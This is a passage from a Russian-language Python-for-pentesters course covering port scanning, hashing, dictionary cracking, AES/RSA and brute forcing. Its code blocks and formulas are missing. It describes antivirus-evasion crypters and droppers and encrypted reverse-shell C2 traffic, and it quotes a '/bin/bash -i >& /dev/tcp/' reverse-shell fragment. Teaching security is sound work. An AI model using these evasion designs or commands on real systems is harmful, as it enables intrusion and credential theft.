Python для пентестера: разработка утилит и автоматизация

Практический курс для абсолютных новичков, обучающий программированию на Python для задач информационной безопасности и автоматизации тестирования на проникновение [cisoclub.ru](https://cisoclub.ru/programmirovanie-na-python-dlja-pentesterov/). Вы шаг за шагом научитесь создавать собственные сканеры, снифферы, эксплойты и скрипты для пост-эксплуатации, опираясь на актуальные методики этичного хакинга [habr.com](https://habr.com/ru/companies/otus/articles/886022).

1. Введение в Python для информационной безопасности

Введение в Python для информационной безопасности

Добро пожаловать в мир практической информационной безопасности. Вы находитесь в самом начале пути, который превратит вас из обычного пользователя компьютера в специалиста, способного видеть скрытые механизмы цифрового мира, находить в них уязвимости и, что самое главное, автоматизировать этот процесс.

Тестирование на проникновение (или пентест) — это легальная, санкционированная попытка взлома компьютерной системы, сети или веб-приложения с целью найти уязвимости до того, как ими воспользуются настоящие злоумышленники. Специалистов, которые этим занимаются, называют «белыми хакерами» (white hats).

Главная проблема современного пентеста — это колоссальные объемы данных. Сети компаний состоят из тысяч компьютеров, веб-сайты имеют сотни скрытых страниц, а приложения обмениваются миллионами строк кода. Пытаться проверить всё это вручную — всё равно что пытаться вычерпать море чайной ложкой.

> Время, когда можно было эффективно проводить пентест, полагаясь исключительно на готовые графические инструменты и чужие эксплойты, безвозвратно ушло. Современный ландшафт угроз требует скорости, гибкости и, главное, индивидуального подхода. > > codeby.net

Именно здесь на сцену выходит программирование. В этом курсе мы не будем изучать программирование ради программирования. Мы будем создавать инструменты, которые работают на нас.

Почему именно Python?

В мире IT существуют десятки языков программирования: C++, Java, Go, Ruby, JavaScript. Однако негласным стандартом в индустрии кибербезопасности стал именно Python.

Чтобы понять причину, давайте разберем три главных фактора:

  • Низкий порог входа и читаемость кода. Синтаксис Python максимально приближен к обычному английскому языку. Вам не нужно тратить месяцы на изучение сложных конструкций управления памятью. Вы думаете о том, что нужно сделать, а не о том, как заставить компьютер вас понять.
  • Огромная экосистема библиотек. Библиотека — это набор уже написанного кем-то кода для решения конкретной задачи. В Python есть готовые библиотеки для отправки сетевых пакетов, криптографии, анализа веб-страниц и взаимодействия с базами данных. Вам не нужно изобретать велосипед.
  • Кроссплатформенность и универсальность. Скрипт, написанный на Python, будет работать на мощном сервере под управлением Linux, на вашем домашнем ноутбуке с Windows и даже на крошечном микрокомпьютере Raspberry Pi, который пентестер может незаметно подключить к сети атакуемой компании.
  • Давайте сравним подходы к решению типичной задачи хакера — написанию сетевого сканера — на разных языках.

    | Характеристика | C / C++ | Bash (Командная строка) | Python | | :--- | :--- | :--- | :--- | | Скорость разработки | Очень низкая (много строк кода) | Высокая (быстро пишется) | Высокая (быстро пишется) | | Сложность для новичка | Высокая (нужно управлять памятью) | Средняя (специфичный синтаксис) | Низкая (читается как текст) | | Гибкость и логика | Максимальная | Низкая (сложно писать сложную математику) | Высокая (богатые библиотеки) | | Скорость выполнения | Максимальная | Низкая | Средняя (достаточная для 99% задач) |

    Как видите, Python предлагает идеальный баланс между тем, насколько быстро вы можете написать хакерскую утилиту, и тем, насколько сложной она может быть.

    Мышление автоматизатора: от рутины к эффективности

    Представьте реальную ситуацию из жизни пентестера. Вы заключили договор на аудит безопасности крупной корпорации. У них есть 500 серверов. Ваша задача — проверить, не использует ли какой-либо из этих серверов устаревшую версию программы, в которой есть известная уязвимость.

    Если вы будете делать это вручную: открывать терминал, вводить команду для подключения к первому серверу, ждать ответа, записывать версию в блокнот, отключаться, переходить ко второму серверу... На проверку одного сервера уйдет около 3 минут.

    Давайте посчитаем общие затраты времени. Используем простую формулу:

    Где — общее время, — количество целей (500 серверов), а — время на одну цель (3 минуты).

    минут. Это 25 часов непрерывной монотонной работы без сна и перерывов. Человеческий мозг устает от рутины, внимание притупляется, и на 300-м сервере вы неизбежно совершите ошибку, пропустив критическую уязвимость.

    А теперь подход программиста-пентестера. Вы тратите 20 минут на написание скрипта на Python. Этот скрипт автоматически подключается к каждому серверу, считывает версию программы, сравнивает её с базой уязвимостей и выдает вам готовый отчет, подсвечивая красным цветом только те серверы, которые можно взломать. Скрипт проверяет один сервер за 0.5 секунды.

    секунд. Это чуть больше 4 минут.

    Вы потратили 20 минут на код и 4 минуты на его работу. Итого: 24 минуты вместо 25 часов. Более того, этот скрипт останется с вами навсегда, и на следующем проекте с 10 000 серверов вы выполните задачу мгновенно. Это и есть главная суперсила, которую дает программирование.

    !Схема этапов тестирования на проникновение

    Анатомия хакерского арсенала: базовые термины

    Прежде чем мы напишем первую строчку кода, нам нужно договориться о терминах. В информационной безопасности существует свой сленг. Если вы не понимаете разницы между эксплойтом и пейлоадом, вы не сможете создавать эффективные инструменты.

    1. Скрипт (Script)

    Скрипт — это текстовый файл, содержащий последовательность команд для компьютера, написанных на языке программирования (в нашем случае — на Python).

    Аналогия из жизни: Скрипт — это кулинарный рецепт. В нем пошагово расписано: возьми данные А, отправь их на сервер Б, если сервер ответил В — выведи сообщение на экран. Компьютер (как послушный повар) просто выполняет эти шаги сверху вниз.

    2. Уязвимость (Vulnerability)

    Уязвимость — это ошибка в коде программы, неправильная настройка системы или архитектурный недостаток, который позволяет атакующему нарушить безопасность системы (получить доступ к данным, выключить сервер и т.д.).

    Аналогия из жизни: Уязвимость — это сломанный замок на задней двери банка или окно, которое забыли закрыть на ночь.

    3. Эксплойт (Exploit)

    Эксплойт (от англ. to exploit — эксплуатировать, использовать) — это специализированный скрипт или программа, которая использует конкретную уязвимость для атаки на систему.

    Аналогия из жизни: Если уязвимость — это сломанный замок, то эксплойт — это отмычка, специально выточенная под форму этого сломанного замка, чтобы его открыть.

    4. Пейлоад (Payload)

    Пейлоад (полезная нагрузка) — это часть кода, которая выполняется на атакуемой системе после того, как эксплойт успешно пробил защиту. Эксплойт открывает дверь, а пейлоад — это то, что заходит внутрь.

    Аналогия из жизни: Отмычка (эксплойт) открыла дверь сейфа. То, что делает грабитель дальше — забирает деньги, устанавливает скрытую камеру или сжигает документы — это и есть пейлоад.

    В рамках этого курса мы будем писать скрипты для автоматизации разведки, создавать собственные эксплойты для известных уязвимостей и генерировать пейлоады для получения контроля над серверами.

    Как компьютеры общаются друг с другом

    Чтобы взламывать сети, нужно понимать, как они работают. Любое взаимодействие в интернете строится на двух фундаментальных понятиях: IP-адрес и Порт.

    Представьте себе огромный многоквартирный дом. * IP-адрес — это почтовый адрес самого здания (например, ул. Ленина, д. 10). Он уникален для каждого устройства в сети. Зная IP-адрес, мы знаем, к какому компьютеру обращаемся. * Порт — это номер конкретной квартиры в этом здании.

    На одном компьютере (в одном здании) одновременно работает множество программ (жильцов). Веб-сервер отдает страницы сайтов, почтовый сервер принимает письма, база данных хранит информацию. Чтобы данные из интернета попали к нужной программе, используются порты.

    Порт — это просто число от 0 до 65535. Существуют общепринятые стандарты:

  • Порт 80 — здесь обычно «живет» веб-сервер (HTTP).
  • Порт 443 — защищенный веб-сервер (HTTPS).
  • Порт 22 — служба удаленного управления сервером (SSH).
  • Когда хакер начинает атаку на компанию, первое, что он делает — проводит сканирование портов. Он берет IP-адрес компании и по очереди «стучится» в каждую из 65535 дверей (портов), чтобы узнать, какие из них открыты и какие программы за ними прячутся. Если дверь открыта, хакер начинает искать уязвимости в программе, которая за ней стоит.

    Разбираем первый хакерский скрипт

    Давайте посмотрим, как выглядит простейший сканер портов на Python. Не пугайтесь, если вы никогда раньше не видели код. Сейчас мы разберем его по косточкам, чтобы вы поняли саму логику.

    Давайте переведем этот код с языка Python на человеческий язык:

  • import socket — мы говорим Python: «Подключи библиотеку socket». Эта библиотека содержит готовые инструменты для работы с сетью. Нам не нужно объяснять компьютеру, как формировать электрические сигналы в кабеле, библиотека сделает это за нас.
  • target_ip = "192.168.1.10" — мы создаем переменную (коробочку с именем target_ip) и кладем в нее адрес компьютера, который собираемся атаковать.
  • for port in range(20, 25): — это цикл. Мы говорим: «Перебери все числа от 20 до 24 по очереди, и каждый раз называй текущее число словом port».
  • sock = socket.socket(...) — мы создаем сетевой разъем (сокет). Это наш инструмент для «стука в дверь».
  • sock.settimeout(1) — мы устанавливаем таймер. Если дверь не открывают в течение 1 секунды, мы не стоим под ней вечно, а идем дальше.
  • result = sock.connect_ex((target_ip, port)) — самое главное действие! Мы пытаемся установить соединение с указанным IP-адресом на текущий порт. Результат этой попытки (успех или провал) мы сохраняем в переменную result.
  • if result == 0: — в сетевом программировании код 0 означает, что соединение прошло успешно (ошибок ноль). Мы проверяем: если результат равен нулю, значит дверь открыта.
  • print(...) — команда вывода текста на экран. Мы печатаем сообщение о том, открыт порт или закрыт.
  • sock.close() — мы закрываем соединение и убираем за собой, чтобы перейти к следующей двери.
  • Всего 15 строк кода, и у вас в руках инструмент, который может автоматически просканировать сеть. Да, это очень примитивный сканер. В реальных условиях он будет работать медленно, и современные системы защиты (Firewalls) легко его заметят. Но именно с таких базовых концепций начинается разработка серьезных инструментов.

    Опасность синдрома «Script Kiddie»

    В среде информационной безопасности есть пренебрежительный термин — Script Kiddie (скрипт-кидди, «дети со скриптами»). Так называют людей, которые скачивают чужие хакерские программы из интернета, нажимают кнопку «Взломать», но совершенно не понимают, как эти программы работают под капотом.

    Проблема скрипт-кидди в том, что они беспомощны при малейшем отклонении от стандарта. Если готовый эксплойт не сработал, скрипт-кидди сдается. Если антивирус заблокировал программу, скрипт-кидди не знает, как её изменить.

    Цель нашего курса — сделать из вас инженера, а не скрипт-кидди. Вы должны понимать каждый байт, который ваш скрипт отправляет в сеть.

    > Настоящий пентестер не ждёт — он создаёт. Время взять контроль в свои руки. Время научиться программировать. > > codeby.net

    Когда вы пишете код сами, вы можете:

  • Изменить логику атаки так, чтобы обойти антивирус.
  • Объединить несколько разных инструментов в один автоматизированный конвейер.
  • Адаптировать скрипт под специфическую, нестандартную сеть клиента.
  • Что вас ждет дальше

    Этот курс построен по принципу постепенного погружения. Мы не будем изучать сухую теорию алгоритмов. Каждая строчка кода, которую мы напишем, будет иметь практическое применение в хакинге.

    В следующих статьях мы пройдем через все этапы работы профессионального пентестера:

  • Разведка (Reconnaissance): Мы научимся писать скрипты, которые автоматически собирают информацию о цели из открытых источников (OSINT), парсят веб-сайты и извлекают скрытые данные из HTML-кода.
  • Сканирование и анализ: Мы усовершенствуем наш сканер портов, сделаем его многопоточным (чтобы он работал в 100 раз быстрее) и научимся анализировать сетевой трафик.
  • Эксплуатация: Мы разберем, как писать скрипты для автоматического перебора паролей (Brute Force) и как взаимодействовать с веб-уязвимостями через код.
  • Пост-эксплуатация: Самая интересная часть. Мы напишем собственные Reverse Shell и Bind Shell — программы, которые позволяют удаленно управлять взломанным компьютером, обходя сетевые экраны.
  • Криптография: Мы изучим основы шифрования, чтобы понимать, как защищаются данные, и напишем утилиты для анализа криптографических алгоритмов.
  • Программирование — это навык, который требует практики. Не пытайтесь просто читать код. Переписывайте его, ломайте, меняйте переменные, смотрите на ошибки, которые выдает интерпретатор Python. Ошибка в коде — это не провал, это ваш главный учитель.

    Готовьтесь. В следующей статье мы установим необходимое программное обеспечение, настроим нашу боевую среду и напишем первый полноценный скрипт для сбора информации о цели в интернете.

    10. Основы криптографии и хеширования в Python

    Основы криптографии и хеширования в Python

    В предыдущих материалах мы научились собирать информацию о цели: отправлять HTTP-запросы, анализировать структуру сайтов и автоматически извлекать скрытые данные с помощью парсинга. Представьте ситуацию: ваш скрипт-паук нашел на сервере забытый администратором файл резервной копии базы данных. Вы открываете его и вместо паролей видите непонятные строки вроде 5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8.

    Компьютерные системы редко хранят пароли в открытом виде. Чтобы продвинуться дальше, получить доступ к системе или скрыть собственные вредоносные скрипты от антивирусов, пентестеру необходимо понимать, как данные преобразуются, скрываются и защищаются.

    Хеширование: билет в один конец

    Хеширование — это математическое преобразование данных произвольного размера в строку фиксированной длины. Эту строку называют хешем (или дайджестом).

    Главное правило хеширования: это односторонний процесс. Вы не можете взять хеш и математически «расшифровать» его обратно в исходный текст.

    Самая точная бытовая аналогия хеширования — это мясорубка. Вы можете положить в мясорубку кусок говядины (исходные данные) и получить фарш (хеш). Но вы не можете провернуть ручку мясорубки в обратную сторону, чтобы из фарша снова собрался идеальный кусок мяса.

    Зачем это нужно, если данные нельзя вернуть? Для проверки подлинности и целостности. Когда вы регистрируетесь на сайте и придумываете пароль qwerty, сервер пропускает его через свою «мясорубку» и сохраняет в базу данных только получившийся фарш (хеш). Когда вы входите на сайт снова, сервер берет введенный вами пароль, снова делает из него фарш и сравнивает два фарша. Если они идентичны — пароль верный. При этом, если хакер украдет базу данных, он увидит только хеши, а не сами пароли.

    Свойства надежной хеш-функции

    Чтобы алгоритм считался криптографически надежным, он должен обладать тремя свойствами:

  • Детерминированность: Одно и то же слово всегда должно давать абсолютно одинаковый хеш.
  • Лавинный эффект: Изменение хотя бы одного символа (или даже одного бита) во входных данных должно изменять итоговый хеш до неузнаваемости.
  • Устойчивость к коллизиям: Ситуация, когда два разных пароля дают одинаковый хеш, называется коллизией. В идеальном алгоритме найти коллизию должно быть математически невозможно за адекватное время.
  • !Интерактивный демонстратор лавинного эффекта хеширования

    Хеширование в Python: hash() против hashlib

    В Python есть встроенная функция hash(). Но использовать ее для задач информационной безопасности категорически нельзя.

    Если вы запустите этот код, вы получите число, например 7437959953925788052. Но если вы перезапустите скрипт, число будет совершенно другим! Это происходит из-за механизма hash randomization, который встроен в Python для защиты от определенных видов атак на память. Встроенный hash() нужен только для внутренних нужд языка (например, для работы словарей dict), а не для криптографии.

    Для реальных задач пентеста используется стандартная библиотека hashlib.

    В модуле hashlib доступно множество алгоритмов. Исторически популярный алгоритм MD5 сегодня считается небезопасным, так как современные компьютеры легко находят для него коллизии. Золотым стандартом в индустрии сейчас является семейство SHA-2 (в частности, алгоритм SHA-256, который выдает хеш длиной 256 бит).

    Практика пентеста: создание взломщика хешей

    Если хеш нельзя расшифровать математически, как хакеры узнают пароли из украденных баз данных? Они используют метод перебора по словарю (Dictionary Attack).

    Суть атаки проста: у пентестера есть огромный текстовый файл (словарь), содержащий миллионы самых популярных паролей в мире (например, знаменитый словарь rockyou.txt). Скрипт берет первое слово из словаря, хеширует его и сравнивает с хешем из базы данных. Если не совпало — берет второе слово, и так далее.

    Оценим время такой атаки с помощью простой формулы:

    Где — время перебора в секундах, — количество паролей в словаре, а — скорость перебора (количество вычисляемых хешей в секунду). Если в нашем словаре 10 миллионов паролей, а скрипт на Python вычисляет 1 миллион хешей в секунду, взлом займет всего 10 секунд.

    Напишем базовый скрипт для взлома SHA-256 хеша:

    Симметричное шифрование: один ключ для всего

    В отличие от хеширования, шифрование — это обратимый процесс. Его цель — скрыть информацию от посторонних глаз при передаче или хранении, но позволить законному получателю прочитать ее.

    Симметричное шифрование использует один и тот же ключ как для зашифровывания, так и для расшифровывания данных.

    Аналогия: у вас есть сейф и единственный физический ключ от него. Вы кладете в сейф секретный документ и запираете его ключом. Чтобы ваш коллега в другом городе смог открыть этот сейф, вы должны каким-то образом передать ему точно такой же дубликат ключа.

    Самый популярный и надежный алгоритм симметричного шифрования сегодня — AES (Advanced Encryption Standard). В Python для работы с криптографией на высоком уровне используется сторонняя библиотека cryptography.

    Установим ее:

    В этой библиотеке есть модуль Fernet, который реализует надежное симметричное шифрование (под капотом используется AES) с защитой от подделки данных.

    Практика пентеста: обход антивирусов (AV Evasion)

    Зачем пентестеру шифровать данные? Одно из главных применений — обход антивирусных систем.

    Антивирусы часто работают на основе сигнатур: они ищут в файлах известные куски вредоносного кода (например, команды вызова командной оболочки cmd.exe или powershell). Если вы напишете скрипт, который напрямую вызывает эти команды, антивирус мгновенно удалит его.

    Пентестеры используют симметричное шифрование для создания крипторов. Идея в следующем:

  • На своем компьютере хакер берет вредоносный код (пейлоад) и шифрует его с помощью ключа.
  • Вредоносный код превращается в бессмысленный набор случайных байтов. Антивирус смотрит на него и не видит никаких знакомых сигнатур.
  • Хакер пишет небольшую программу-загрузчик (Dropper), внутрь которой вшивает зашифрованный пейлоад и ключ для расшифровки.
  • Когда загрузчик запускается на компьютере жертвы, он расшифровывает пейлоад прямо в оперативной памяти (минуя жесткий диск) и выполняет его.
  • Главная слабость симметричного шифрования — проблема передачи ключа. Если кто-то перехватит ключ в момент его передачи от отправителя к получателю, он сможет прочитать всю переписку. Эту проблему решает следующий тип криптографии.

    !Схема отличия хеширования от симметричного и асимметричного шифрования.

    Асимметричное шифрование: пара ключей

    Асимметричное шифрование использует математически связанную пару ключей:

  • Публичный ключ (Public Key): открыт для всех. Используется только для шифрования данных.
  • Приватный ключ (Private Key): хранится в строжайшем секрете. Используется только для расшифровки.
  • Аналогия: почтовый ящик с прорезью. Публичный ключ — это прорезь в ящике. Любой человек может подойти и бросить туда письмо (зашифровать сообщение). Но достать письма из ящика (расшифровать) может только владелец, у которого есть физический ключ от дверцы (приватный ключ).

    Самый известный алгоритм асимметричного шифрования — RSA.

    Посмотрим, как это реализовано в Python:

    Практика пентеста: защита C2-трафика

    Когда пентестер успешно взламывает сервер, он оставляет там программу для удаленного управления — Reverse Shell (обратная оболочка). Эта программа постоянно связывается с сервером хакера (Command and Control, или C2) и ждет команд.

    Если команды передаются в открытом виде, специалисты по защите (Blue Team) легко увидят их в анализаторе сетевого трафика (например, Wireshark) и поймут, что система скомпрометирована.

    Чтобы скрыть трафик, используется асимметричное шифрование.

  • Сервер хакера генерирует пару ключей и вшивает публичный ключ в код Reverse Shell.
  • Когда Reverse Shell запускается на сервере жертвы, он генерирует случайный симметричный ключ (AES), шифрует его публичным ключом хакера и отправляет по сети.
  • Сервер хакера получает сообщение и расшифровывает его своим приватным ключом, получая симметричный ключ AES.
  • Теперь обе стороны имеют общий симметричный ключ, который никто не мог перехватить, и дальнейшее общение происходит быстро и безопасно с помощью AES.
  • Такая комбинация (асимметричное для обмена ключами + симметричное для передачи данных) называется гибридным шифрованием и лежит в основе протокола HTTPS, который защищает весь современный интернет.

    Понимание этих трех столпов — хеширования, симметричной и асимметричной криптографии — позволяет пентестеру не только взламывать чужие секреты, но и профессионально защищать собственные инструменты от обнаружения. В следующей статье мы применим эти знания на практике и напишем полноценный зашифрованный Reverse Shell для удаленного управления системой.

    11. Симметричное и асимметричное шифрование

    Симметричное и асимметричное шифрование

    Представьте, что вы успешно проникли во внутреннюю сеть компании. Вы нашли уязвимость на сервере, загрузили свой скрипт для удаленного управления (Reverse Shell), но как только попытались его запустить — соединение оборвалось. В логах вы видите, что корпоративный антивирус мгновенно удалил ваш файл, а система обнаружения вторжений (IDS) заблокировала ваш IP-адрес, перехватив сетевой трафик.

    В предыдущих материалах мы разобрали хеширование — одностороннее преобразование данных, которое отлично подходит для проверки паролей. Но хеш нельзя превратить обратно в исходный текст. Чтобы скрыть свои инструменты от антивирусов и защитить передаваемые по сети команды от перехвата, пентестеру необходимо шифрование — обратимый процесс сокрытия информации.

    В этой теме мы разберем два фундаментальных подхода к криптографии, научимся писать собственные шифраторы на Python и поймем, как хакеры обходят современные средства защиты.

    Симметричное шифрование: один ключ для всего

    Симметричное шифрование — это метод, при котором для зашифровывания (сокрытия) и расшифровывания (восстановления) данных используется один и тот же секретный ключ.

    Самая точная аналогия — обычный сейф с физическим ключом. Вы кладете в сейф секретный документ и запираете его. Чтобы ваш напарник смог открыть этот сейф, вы должны заранее сделать дубликат ключа и передать его ему. Если кто-то посторонний украдет ключ, он получит полный доступ к содержимому.

    В математическом виде этот процесс можно описать простой формулой:

    Где — зашифрованный текст (Ciphertext), — функция шифрования, — секретный ключ, а — исходный открытый текст (Plaintext).

    Алгоритм AES и блочное шифрование

    Золотым стандартом симметричной криптографии сегодня является алгоритм AES (Advanced Encryption Standard). Он используется везде: от защиты ZIP-архивов до банковских систем и мессенджеров вроде WhatsApp.

    AES является блочным шифром. Это значит, что он не шифрует текст по одной букве, а разбивает данные на равные куски (блоки) строго по 16 байт (128 бит) и математически перемешивает каждый блок с ключом.

    Здесь возникает две технические проблемы, которые пентестер должен понимать:

  • Проблема длины (Padding): Что делать, если ваше сообщение занимает 18 байт? Первый блок займет 16 байт, а во втором останется всего 2 байта. AES не умеет работать с неполными блоками. Поэтому применяется Padding (дополнение) — пустые места заполняются специальными символами до кратного размера.
  • Проблема одинаковых блоков (IV): Если вы зашифруете два одинаковых слова одним ключом, на выходе получатся два абсолютно одинаковых зашифрованных блока. Анализатор трафика заметит эту закономерность. Чтобы этого избежать, используется IV (Initialization Vector — вектор инициализации) — случайный набор байтов, который добавляется к первому блоку перед шифрованием. Благодаря IV, даже если вы 100 раз зашифруете слово "admin" одним ключом, результат каждый раз будет совершенно разным.
  • Реализация AES на Python

    Для работы с криптографией на низком уровне в Python часто используется библиотека pycryptodome. Установим ее:

    Напишем скрипт, который правильно шифрует данные с использованием AES в режиме CBC (Cipher Block Chaining — режим, где каждый следующий блок зависит от предыдущего):

    Практика пентеста: создание Криптора (Crypter)

    Зачем пентестеру AES? Главное применение — AV Evasion (обход антивирусов).

    Антивирусы работают на основе сигнатурного анализа: они сканируют файлы на жестком диске и ищут известные куски вредоносного кода. Если вы сохраните скрипт с командой /bin/bash -i >& /dev/tcp/... в открытом виде, антивирус мгновенно его удалит.

    Чтобы обойти защиту, хакеры пишут Крипторы и Дропперы (Droppers):

  • На своей машине пентестер берет вредоносный код (Payload) и шифрует его с помощью AES. Код превращается в бессмысленный набор случайных байтов.
  • Пентестер пишет безобидную программу-обертку (Dropper). Внутрь этой программы он вставляет зашифрованный Payload, ключ AES и IV.
  • Когда Dropper запускается на компьютере жертвы, антивирус проверяет его, не находит ничего подозрительного (ведь внутри только случайные байты и легитимная библиотека шифрования) и разрешает запуск.
  • Dropper расшифровывает Payload прямо в оперативной памяти (RAM), минуя жесткий диск, и передает его на выполнение.
  • !Схема работы криптора: обход антивируса с помощью симметричного шифрования.

    Главная слабость симметричного шифрования — проблема распределения ключей. В примере с Дроппером ключ зашит прямо в код программы. Если аналитик информационной безопасности (Blue Team) поймает ваш Дроппер и проведет реверс-инжиниринг, он легко найдет ключ AES, расшифрует Payload и поймет, что именно вы пытались сделать.

    Эту проблему решает следующий тип криптографии.

    Асимметричное шифрование: пара ключей

    Асимметричное шифрование (или криптография с открытым ключом) использует не один, а математически связанную пару ключей:

  • Публичный ключ (Public Key): открыт для всех. Его единственная задача — зашифровывать данные.
  • Приватный ключ (Private Key): хранится в строжайшем секрете. Его единственная задача — расшифровывать данные.
  • Аналогия: почтовый ящик с прорезью. Публичный ключ — это прорезь. Любой человек в мире может подойти и бросить туда письмо (зашифровать сообщение). Но достать письма из ящика (расшифровать) может только владелец, у которого есть физический ключ от дверцы (приватный ключ).

    Алгоритм RSA и магия простых чисел

    Самый популярный асимметричный алгоритм — RSA (назван по первым буквам фамилий создателей: Rivest, Shamir, Adleman). Его надежность основана на математической задаче факторизации больших чисел.

    Представьте формулу:

    Где и — гигантские простые числа (длиной в сотни цифр). Умножить их друг на друга компьютеру очень легко. Но если дать компьютеру только итоговое число и попросить найти исходные и , на это уйдут миллионы лет. Число становится частью публичного ключа, а и используются для создания приватного.

    > «Криптография с открытым ключом — это самое значительное достижение в истории криптографии. Она решила проблему распределения ключей, которая тысячелетиями мучила полководцев и дипломатов». > > Брюс Шнайер, эксперт по информационной безопасности

    Реализация RSA на Python

    Для работы с RSA мы будем использовать высокоуровневую библиотеку cryptography.

    Практика пентеста: защита C2-инфраструктуры

    Когда пентестер закрепляется в сети, его вредоносная программа (Reverse Shell) должна постоянно общаться с сервером управления (Command and Control, или C2).

    Если использовать симметричное шифрование (AES) для защиты этого трафика, ключ придется зашить в код Reverse Shell. Защитники (Blue Team) найдут файл, извлекут ключ AES и смогут расшифровать весь перехваченный сетевой трафик, узнав, какие данные вы украли.

    Асимметричное шифрование решает эту проблему:

  • Сервер хакера генерирует пару ключей RSA.
  • В код Reverse Shell вшивается только публичный ключ.
  • Reverse Shell собирает украденные пароли, шифрует их публичным ключом и отправляет по сети.
  • Даже если Blue Team поймает Reverse Shell и извлечет публичный ключ, они не смогут расшифровать перехваченный трафик. Публичный ключ умеет только закрывать замок. Открыть его может только приватный ключ, который надежно спрятан на сервере хакера.
  • Сравнение подходов

    Почему бы не использовать асимметричное шифрование везде, раз оно такое безопасное? Ответ кроется в производительности.

    | Характеристика | Симметричное (AES) | Асимметричное (RSA) | | :--- | :--- | :--- | | Количество ключей | 1 (общий) | 2 (публичный и приватный) | | Скорость работы | Очень высокая | Очень низкая (в 100-1000 раз медленнее) | | Размер данных | Любой (гигабайты) | Ограничен размером ключа (обычно до 256 байт) | | Главная проблема | Как безопасно передать ключ? | Слишком медленно для больших файлов | | Применение в ИБ | Шифрование файлов, баз данных, трафика | Передача ключей, цифровые подписи |

    Из-за математической сложности RSA физически не может зашифровать файл, который больше размера самого ключа. Если у вас ключ 2048 бит (256 байт), вы не сможете зашифровать им даже текстовый документ на 1 килобайт, не говоря уже о потоковом сетевом трафике.

    Гибридное шифрование: идеальный баланс

    Чтобы получить скорость симметричного шифрования и безопасность асимметричного, в реальных системах (и профессиональных хакерских инструментах вроде Cobalt Strike) используется гибридное шифрование.

    Именно так работает протокол HTTPS, который защищает ваши пароли при входе на любой сайт.

    !Интерактивная схема гибридного шифрования — наглядно показывает, как асимметричная криптография помогает безопасно передать симметричный ключ.

    Пошаговый алгоритм гибридного шифрования в задачах пентеста:

  • Подготовка: Сервер хакера (C2) генерирует пару ключей RSA. Публичный ключ вшивается в код вредоносного агента (Payload).
  • Заражение: Агент запускается на компьютере жертвы.
  • Генерация сессионного ключа: Агент генерирует случайный 32-байтный ключ для AES. Это будет временный ключ только для текущей сессии связи.
  • Безопасная передача: Агент берет этот маленький ключ AES, шифрует его публичным ключом RSA (размер ключа AES отлично помещается в лимиты RSA) и отправляет на сервер хакера.
  • Расшифровка ключа: Сервер хакера получает сообщение, расшифровывает его своим приватным ключом RSA и достает ключ AES.
  • Быстрый обмен данными: Теперь и у агента, и у сервера есть общий ключ AES, который никто не мог перехватить. Дальнейшая передача всех команд и скачанных файлов происходит с помощью быстрого алгоритма AES.
  • Понимание того, как комбинировать эти алгоритмы, отличает профессионального разработчика ИБ-инструментов от новичка. В следующей статье мы объединим знания о сокетах, системных командах и криптографии, чтобы написать собственный полностью зашифрованный Reverse Shell, трафик которого не сможет прочитать ни одна система обнаружения вторжений.

    12. Разработка инструментов для фаззинга и перебора паролей

    Разработка инструментов для фаззинга и перебора паролей

    Представьте ситуацию: вы проводите аудит безопасности корпоративного веб-приложения. Вы нашли панель администратора, но она защищена паролем. Никаких SQL-инъекций или логических уязвимостей нет. В предыдущих материалах мы обсуждали криптографию и хеширование, выяснив, что надежные алгоритмы нельзя «расшифровать» математически. Единственный способ попасть внутрь — угадать пароль.

    В арсенале пентестера есть два основных подхода к угадыванию: брутфорс (полный перебор) и атака по словарю. А для поиска скрытых файлов и директорий на сервере используется фаззинг. В этой теме мы научимся писать собственные инструменты на Python для автоматизации этих процессов, разберем математику перебора и ускорим наши скрипты с помощью многопоточности.

    Математика полного перебора (Brute-force)

    Брутфорс (Brute-force) — это метод решения задачи путем перебора всех возможных вариантов.

    Аналогия из жизни: вы забыли трехзначный код от навесного замка на чемодане. Вы начинаете с 000, затем пробуете 001, 002 и так далее до 999. Рано или поздно замок откроется, потому что количество комбинаций конечно.

    В информационной безопасности время, необходимое на взлом пароля методом брутфорса, вычисляется по строгой математической формуле:

    Где: * — общее количество возможных комбинаций. * — размер алфавита (количество символов, которые могут использоваться в пароле). * — длина пароля.

    Разберем на примере. Допустим, пользователь создал пароль из 8 символов, используя только строчные английские буквы. В английском алфавите 26 букв. Подставляем в формулу:

    Получается более 208 миллиардов комбинаций. Если наш Python-скрипт отправляет 100 запросов в секунду к веб-сайту, на полный перебор уйдет около 66 лет.

    > О том, как важно создавать стойкие пароли для ваших учетных записей не говорил только ленивый. И действительно, чем сложнее пароль, тем меньше вероятность того, что его взломают. За время перебора сложного пароля Вселенная разлетится так далеко, что мы перестанем видеть звезды. > > Johan Van, эксперт по ИБ

    Именно поэтому чистый брутфорс через сеть (онлайн-брутфорс) применяется крайне редко и только для очень коротких паролей (например, 4-значных PIN-кодов).

    !Интерактивный калькулятор времени брутфорса — наглядно показывает, как добавление спецсимволов или увеличение длины пароля экспоненциально увеличивает время взлома.

    Реализация генератора комбинаций на Python

    Если нам все же нужно сгенерировать все возможные комбинации (например, для перебора PIN-кодов), в Python для этого есть встроенная библиотека itertools и ее функция product.

    Функция product вычисляет декартово произведение входных данных. Простыми словами: она берет символы и составляет из них все возможные комбинации заданной длины.

    Важный нюанс производительности: Никогда не пытайтесь сохранить результат itertools.product в список (например, list(itertools.product(...))), если длина пароля больше 5 символов. Функция работает как генератор — она выдает по одному значению за раз, почти не потребляя оперативную память (RAM). Если вы попытаетесь сохранить миллиард комбинаций в список, ваш компьютер зависнет, а операционная система принудительно завершит скрипт из-за нехватки памяти (ошибка Out of Memory).

    Атака по словарю (Dictionary Attack)

    Поскольку чистый брутфорс неэффективен для длинных паролей, хакеры используют атаку по словарю.

    Люди ленивы. Вместо случайного набора символов qW3$rTy они используют осмысленные слова: qwerty123456, password, admin, iloveyou. Атака по словарю берет заранее подготовленный текстовый файл (словарь), содержащий миллионы самых популярных паролей, и проверяет только их.

    Самый известный словарь в мире ИБ называется rockyou.txt. Он появился в 2009 году после взлома компании RockYou и содержит более 14 миллионов реальных паролей. Проверка 14 миллионов вариантов займет у скрипта несколько часов, что абсолютно реально в рамках пентеста.

    Безопасное чтение больших словарей

    Словарь паролей может весить гигабайты. Читать его целиком в память с помощью метода .read() или .readlines() — грубая ошибка. Правильный подход — построчное чтение с использованием контекстного менеджера with.

